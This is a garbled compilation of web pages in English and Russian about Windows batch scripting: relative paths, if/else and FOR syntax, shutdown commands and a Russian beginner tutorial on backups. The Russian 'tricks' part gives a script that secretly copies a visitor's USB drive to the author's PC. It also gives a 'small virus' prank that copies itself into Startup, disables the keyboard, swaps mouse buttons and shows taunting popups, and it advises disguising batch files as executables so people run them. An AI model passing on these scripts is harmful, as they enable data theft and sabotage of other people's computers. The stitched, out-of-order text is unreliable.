How can i execute a .bat file using the relative path to it, on Windows 7?

Статья описывает, как выключить или перезагрузить компьютер на Windows из командной строки: PowerShell, JScript/VBScript с WSH, nhss, shutdown. А также дополнительно, как сделать выключение или перезагрузку с задержкой.

In this tutorial, you will learn about decision making structures that are the batch file if else statements.

if else batch file

Basically programming logic is all about True (1) or False (0). Like any other programming language, batch file if else statements facilitate us to make a decision between true/false or multiple options by imposing a particular condition.

I mean, if i’m in the folder foo, and within it there’s another folder called bar, and whithin bar folder, there’s a file.bat.
In this scenario, i can’t just type foo/bar/file.bat. I have to type the entire path to get the file executed, i.e (c:/foo/bar/file.bat).

Is there a way i can do just foo/bar/file.bat and execute the file.bat, without having to type the entire path to the file.bat?

P.S: I’m talking about Windows Command Prompt.

Sorry for my bad english.

asked Aug 3, 2017 at 23:31

Seu Madruga's user avatar

Your example code has forwards slashes instead of backward slashes (if you didn’t notice).

Yes, if you are in foo with command prompt you can run bar\file.bat to open that batch script. You would not run as you say ” foo\bar\file.bat ” because you are already in foo, as you have said. But if you are in a different node (i.e C:\foo\john) and want to access bar\file.bat you must run ..\bar\file.bat

answered Aug 3, 2017 at 23:41

El8dN8's user avatar

1 gold badge12 silver badges23 bronze badges

Some notes and some tricks.

The ‘official’ way to assign result to a variable is with FOR /F though in the other answers is shown how a temporary file can be used also.

For command processing FOR command has two forms depending if the usebackq option is used. In the all examples below the whole output is used without splitting it.

FOR /f "tokens=* delims=" %%A in ('whoami') do @set "I-Am=%%A"
FOR /f "usebackq tokens=* delims=" %%A in (`whoami`) do @set "I-Am=%%A"

and if used directly in the console:

FOR /f "tokens=* delims=" %A in ('whoami') do set "I-Am=%A"
FOR /f "usebackq tokens=* delims=" %A in (`whoami`) do set "I-Am=%A"

%%A is a temporary variable available only on the FOR command context and is called token.The two forms can be useful in case when you are dealing with arguments containing specific quotes. It is especially useful with REPL interfaces of other languages or WMIC.
Though in both cases the expression can be put in double quotes and it still be processed.

Here’s an example with python (it is possible to transition the expression in the brackets on a separate line which is used for easier reading):

@echo off
for /f "tokens=* delims=" %%a in ( '"python -c ""print("""Message from python""")"""'
) do ( echo processed message from python: "%%a"
)
::setting variable for the current user
if not defined My_Var ( set "My_Var=My_Value" setx My_Var My_Value
)
::setting machine defined variable
if not defined Global_Var ( set "Global_Var=Global_Value" SetX Global_Var Global_Value /m
)

You can also edit directly the registry values:

System Variables: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Which will allow to avoid some restrictions of SET and SETX like the variables containing = in their names.

3rd party edit

SETX.exe
Set environment variables permanently,

 /m Set the variable in the system environment HKLM. (The default is the local environment HKCU)
::setting variable for the current user
if not defined JAVAJDK ( set "JAVAJDK=C:\Program Files\Java\jdk-13\bin" setx JAVAJDK "C:\Program Files\Java\jdk-13\bin"
)

In a command.exe you can use the variable like this cd %JAVAJDK%.

Вот моя папка с программой на моем USB-накопителе:

Program\
run.bat
bin\
config.ini
Iris.exe
library.dll
etc.

Я хотел бы использовать run.bat для запуска Iris.exe

Я не могу использовать это: F:/Program/bin/Iris.exe как ярлык, потому что иногда он не подключается как диск F: (например, E: или G:)

Что мне нужно написать в файле bat для работы независимо от буквы диска?

Я попробовал это в файле BAT:

"\bin\Iris.exe"

Но это не работает.

Используйте это в своем пакетном файле:

%~dp0\bin\Iris.exe

%~dp0 разрешает полный путь к папке, в которой находится пакет script.

Вы можете получить все необходимые свойства файла, используя следующий код:

FOR %%? IN (file_to_be_queried) DO (
ECHO File Name Only : %%~n?
ECHO File Extension : %%~x?
ECHO Name in 8.3 notation : %%~sn?
ECHO File Attributes : %%~a?
ECHO Located on Drive : %%~d?
ECHO File Size : %%~z?
ECHO Last-Modified Date : %%~t?
ECHO Parent Folder : %%~dp?
ECHO Fully Qualified Path : %%~f?
ECHO FQP in 8.3 notation : %%~sf?
ECHO Location in the PATH : %%~dp$PATH:?
)

Я обнаружил, что %CD% указывает путь, из которого был вызван script, а не путь script, однако %~dp0 предоставит путь к самому script.

Вы должны иметь возможность использовать текущий каталог

“% CD%” \Bin\Iris.exe

либо
bin\Iris.exe
(без ведущей косой черты – потому что это означает начало прямо из корня)
или \Program\bin\Iris.exe (полный путь)

Вместо вступления. Что такое “батник”

Пакетные файлы (batch file) – это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых .

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

  • Выше уже упоминалось, что пакетный файлы – это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
  • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск – все программы – стандартные – командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
  • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае – на компьютере соседа);
  • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
  • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Checking Integer Variables And String Variables

To know in depth and details about batch file variables, go through this article.

SET /A a=2
SET /A b=3
SET name1=Aston
SET name2=Martin
:: Using if statement
IF %a%==2 echo The value of a is 2
IF %name2%==Martin echo Hi this is Martin
:: Using if else statements
IF %a%==%b% (echo Numbers are equal) ELSE (echo Numbers are different)
IF %name1%==%name2% (echo Name is Same) ELSE (echo Name is different)
PAUSE

batch file if else output

Выключить или перезагрузить компьютер из JScript/VBScript через WSH

Способ основан на использовании метода Win32Shutdown класса Win32_OperatingSystem:

:/>  Почему не работает клавиатура и мышь на ноутбуке одновременно

Выключить компьютер можно следующим скриптом на JScript:

var wmi = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\\\.\\root \\cimv2");
var col_os = wmi.ExecQuery("Select * from Win32_OperatingSystem");
for(var i = new Enumerator(col_os); !i.atEnd(); i.moveNext()) i.item().Win32Shutdown(1);

Перезагрузить компьютер можно следующим скриптом на JScript:

var wmi = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\\\.\\root\\cimv2");
var col_os = wmi.ExecQuery("Select * from Win32_OperatingSystem");
for(var i = new Enumerator(col_os); !i.atEnd(); i.moveNext()) i.item().Win32Shutdown(2);

Пример на VBScript, с forced restart (добавляется 4):

Dim WMIServiceObject, ComputerObject AsObject
WMIServiceObject = GetObject(
"Winmgmts:{impersonationLevel=impersonate,(Debug,Shutdown)}")
ForEach ComputerObject In WMIServiceObject.InstancesOf("Win32_OperatingSystem") ComputerObject.Win32Shutdown(2 + 4, 0)

Поскольку WSH сейчас установлен по умолчанию на Windows, то использование JScript/VBScript не требует установки каких-либо программных компонентов.

Batch File If Else Flowchart

Here is a flowchart to highlight the concept of if else statement.

batch file if else

Now that we have known about how batch file if else works, let’s go through some examples.

Batch File If Else Example To Check If A File Or Folder Exists

EXIST command is used to check if a file exists or not. Read this article to know details of EXIST and all the other batch file commands.

@echo OFF
::EXIST command is used to check for existence
IF EXIST D:\abc.txt ECHO abc.txt found
IF EXIST D:\xyz.txt (ECHO xyz.txt found) ELSE (ECHO xyz.txt not found)
PAUSE

batch file if exist

So, that’s all about batch file if else statements. We hope you didn’t have a hard time learning about it and hopefully, by this time, you will know how to use if else in batch file scripting.



Выключить или перезагрузить компьютер командой shutdown

Выключить компьютер можно следующей командой:

shutdown

Перезагрузить компьютер можно следующей командой:

shutdown -r

Важно! Команда shutdown делает «грубое» завершение Windows, которое на практике приводило к тому, что не сохранялись настройки, сделанных в Windows в текущем сеансе. Поэтому хотя и выключение/перезагрузка компьютера через shutdown действительно срабатывает, я бы не рекомендовал использование shutdown для обычного завершения, а только для экстренных случаев, когда требуется максимально быстро завершить Windows, например, в случае Low Battery на ИБП.

Syntax

  • for /l %%p in (startNumber, increment, endNumber) do command
  • for /f %%p in (filename) do command
  • for /f %%p in (“textStrings”) do command
  • for /f %%p in (‘command’) do command
  • for /r drive:\path %%p in (set) do command
  • for /d %%p in (directory) do command

The for command accepts options when the /f flag is used. Here’s a list of options that can be used:

  • delims=x Delimiter character(s) to separate tokens

  • skip=n Number of lines to skip at the beginning of file and text strings

  • eol=; Character at the start of each line to indicate a comment

  • tokens=n Numbered items to read from each line or string to process

  • usebackq Use another quoting style:

    Use double quotes for long file names in “files”

    Use single quotes for ‘textStrings’

    Use back quotes for `command`

And some tricks

To save yourself from writing all the arguments for the FOR command you can use MACRO for assigning the result to variable:

@echo off
::::: ---- defining the assign macro ---- ::::::::
setlocal DisableDelayedExpansion
(set LF=^
%=EMPTY=%
)
set ^"\n=^^^%LF%%LF%^%LF%%LF%^^"
::set argv=Empty
set assign=for /L %%n in (1 1 2) do ( %\n% if %%n==2 (%\n% setlocal enableDelayedExpansion%\n% for /F "tokens=1,2 delims=," %%A in ("!argv!") do (%\n% for /f "tokens=* delims=" %%# in ('%%~A') do endlocal^&set "%%~B=%%#" %\n% ) %\n% ) %\n%
) ^& set argv=,
::::: -------- ::::::::
:::EXAMPLE
%assign% "WHOAMI /LOGONID",result
echo %result%

the first argument to the macro is the command and the second the name of the variable we want to use and both are separated by , (comma). Though this is suitable only for straight forward scenarios.

If we want a similar macro for the console we can use DOSKEY

doskey assign=for /f "tokens=1,2 delims=," %a in ("$*") do @for /f "tokens=* delims=" %# in ('"%a"') do @set "%b=%#"
rem -- example --
assign WHOAMI /LOGONID,my-id
echo %my-id%

FOR also works well with pipes which can be used for chaining commands (though it is not so good for assigning a variable.

hostname |for /f "tokens=* delims=" %%# in ('more') do @(ping %%#)

Which also can be beautified with macros:

@echo off
:: --- defining chain command macros ---
set "result-as-[arg]:=|for /f "tokens=* delims=" %%# in ('more') do @("
set "[arg]= %%#)"
::: -------------------------- :::
::Example:
hostname %result-as-[arg]:% ping %[arg]%

And for completnes macros for the temp file approach (no doskey definition ,but it also can be easy done.If you have a SSD this wont be so slow):

@echo off
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
set "[[=>"#" 2>&1&set/p "&set "]]==<# & del /q # >nul 2>&1"
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
chcp %[[%code-page%]]%
echo ~~%code-page%~~
whoami %[[%its-me%]]%
echo ##%its-me%##

For /f with another macro:

::::::::::::::::::::::::::::::::::::::::::::::::::
;;set "{{=for /f "tokens=* delims=" %%# in ('" &::
;;set "--=') do @set "" &::
;;set "}}==%%#"" &::
::::::::::::::::::::::::::::::::::::::::::::::::::
:: --examples
::assigning ver output to %win-ver% variable
%{{% ver %--%win-ver%}}%
echo 3: %win-ver%
::assigning hostname output to %my-host% variable
%{{% hostname %--%my-host%}}%
echo 4: %my-host%

Renaming all files in the current directory

SetLocal EnableDelayedExpansion
for %%j in (*.*) do ( set filename=%%~nj set filename=!filename:old=new! set filename=Prefix !filename! set filename=!filename! Suffix ren "%%j" "!filename!%%~xj" )

By defining the variable name %%j and associating it with all current files (*.*), we can use the variable in a for loop to represent each file in the current directory.

Every iteration (or pass) through the loop thereby processes a different file from the defined group (which might equally have been any group, e.g. *.jpg or *.txt).

In the first example, we substitute text: the text string “old” is replaced by the text string “new” (if, but only if, the text “old” is present in the file’s name).

In the second example, we add text: the text “Prefix ” is added to the start of the file name. This is not a substitution. This change will be applied to all files in the group.

In the third example, again we add text: the text ” Suffix” is added to the end of the file name. Again, this is not a substitution. This change will be applied to all files in the group.

The final line actually handles the renaming.

Содержание статьи

Выключить или перезагрузить компьютер программой nhss

Программа nhss предназначена для управления питанием компьютера и позволяет выполнять такие команды, как выключение, перезагрузка, ждущий режим, спящий режим.

Выключить компьютер можно следующей командой:

nhss -sd

Перезагрузить компьютер можно следующей командой:

nhss -r

Команды просты в использовании, но потребуется установить программу nhss.exe и прописать путь к ней.

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников – это запись содержимого каталога в файл

@echo off
chcp 1251
dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик , содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off
chcp 1251
dir /S "c:\" >"X:\file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c:\ поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:\file.txt сохранит конечный файл со списком содержимого в указанное нами место;

:/>  Как отформатировать загрузочную флешку для установки Windows 10: FAT32, NTFS

Запуск файлов из командной строки 

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off
chcp 1251
"c:\Документы\напоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off
chcp 1251
calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Batch File If Else Example To Check If Variable Is Defined Or Not

@echo OFF
::If var is not defined SET var = hello
IF "%var%"=="" (SET var=Hello)
:: This can be done in this way as well
IF NOT DEFINED var (SET var=Hello)

Either way, it will set var to 'Hello' as it is not defined previously.

Iteration

for /L %%A in (1,2,40) do echo %%A

This line will iterate from 1 to 39, increasing by 2 each time.

The first parameter, 1, is the starting number.

The second parameter, 2, is the increment.

The third parameter, 40, is the maximum.

Как выключить компьютер по таймеру

Чтобы настроить выключение компьютера через определенное время, например, через 1 час, это можно сделать выполнением команды выключения с задержкой, см. Сделать задержку в командном файле:

ping 127.0.0.1 -n 3600 > nul && nhss -sd

Или через PowerShell с задержкой в 30 минут:

ping 127.0.0.1 -n 1800 > nul && powershell "stop-computer"

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
    • создать sfx-архив.

Упаковка батников в SFX-архив

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

Batch file if else statement

if (condition) dosomething
:: For if..else if
if (condition) (statement1) else (statement2)

So, as the syntax signifies, first a condition is checked and if true, the corresponding statements are executed in the batch file if statement. As for batch file if else, first a condition of if statement is checked and if true, the statement1 is executed else statement2 is executed.

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строчки;
  • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
  • Комментарии в пакетный файл могут быть добавлены двумя способами:
    – либо после двух двоеточий ::переход к части копирования – либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий

    goto begin
    ----------------------------------------
    Это батник служит для резервного копирования дипломной работы
    ----------------------------------------
    begin
  • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
  • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
  • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
  • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
  • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Looping through each line in a files set

for /F "tokens=*" %%A in (C:\scripts\testFile.txt) do ( echo %%A rem do other stuff here )

More advanced example shows, how derived in FOR loop from a restricted files set data can be used to redirect batch execution, while saving the searched content to a file:

@echo off
setlocal enabledelayedexpansion
for /f %%i in ('dir "%temp%\test*.log" /o:-d /t:w /b') do ( set "last=%temp%\%%i" type !last! | find /n /i "Completed" >nul 2>&1 >> %temp%\Completed.log ^ && (echo Found in log %%i & goto :end) || (echo Not found in log %%i & set "result=1"))
:: add user tasks code here
if defined result echo Performing user tasks...
:end
echo All tasks completed
exit /b

Note, how long command strings are split into several code lines, and command groups are separated by parentheses.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и “голыми руками”), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить “красную карточку”. Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off
:test
if exist g:\ goto go
goto test
:go
xcopy "G:\*.*" "C:\упс\*.*"

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка
copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup

Начало обеих строк в виде copy %0 означает копирование “самого себя”.
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, “ТЫ ЛАМЕР!”
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
start %temp%mes.jse
deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

:/>  Управление проверкой личности с помощью Windows Hello для бизнеса / Блог компании Microsoft / Хабр

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 – выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 – перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ – откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del “%SystemRoot%Cursors*.*” >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off
chcp 1251
rundll32 keyboard, disable
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
copy %0 c:\"documents and settings"\"all users"\"главное меню"\программы\автозагрузка
copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup
rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); >
%temp%mes.js
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Recursively Visit Directories in a Directory Tree

for /r command can be used to recursively visit all the directories in a directory tree and perform a command.

@echo off
rem start at the top of the tree to visit and loop though each directory
for /r %%a in (.) do ( rem enter the directory pushd %%a echo In directory: cd rem leave the directory popd )

Выключить или перезагрузить компьютер из PowerShell

Выключить компьютер можно командной Stop-Computer из консоли PowerShell:

PS C:\> Stop-Computer

Перезагрузить компьютер можно командой Restart-Computer из консоли PowerShell:

PS C:\> Restart-Computer

Как это выглядит в консоли PowerShell:

How can i execute a .bat file using the relative path to it, on Windows 7?

Поскольку PowerShell сейчас устанавливается на Windows по умолчанию, то использование PS команды не требует дополнительных установок.

Чтобы выполнить выключение или перезагрузку через PowerShell из bat файла или из командной строки, их надо вызывать через powershell.

Например, команда перезагрузки локального компьютера в bat файле или командной строке:

powershell "restart-computer"

Аналогично, команда выключения локального компьютера в bat файле или командной строке:

powershell "stop-computer"

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:\, нам необходимо собрать следующего вида пакетный файл

@echo off
chcp 1251
MD "D:\backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "C:\%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off
chcp 1251
copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off
chcp 1251
set datetemp=%date:~-10%
copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off
chcp 1251
cd C:\Windows\Temp\
echo Y|del *.*

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных – полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off
chcp 1251
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*"

Где D:\diplom\ – папка расположения всех материалов к диплому, а E:\backup\diplom\ – конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск – все программы – автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off
chcp 1251
del "E:\backup\diplom_old\" /s /q
rmdir "E:\backup\diplom_old\" /s /q
rename "E:\backup\diplom\" "diplom_old"
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off
chcp 1251
xcopy "D:\diplom\*.*" "E:\backup\diplom\*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе – это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off
chcp 1251
c:\PROGRA~1\WinRAR\WinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:\backup\" "D:\diplom\"

Архив папки D:\diplom будет создаваться в E:\backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Вместо заключения

Будьте осторожны и удачных вам экспериментов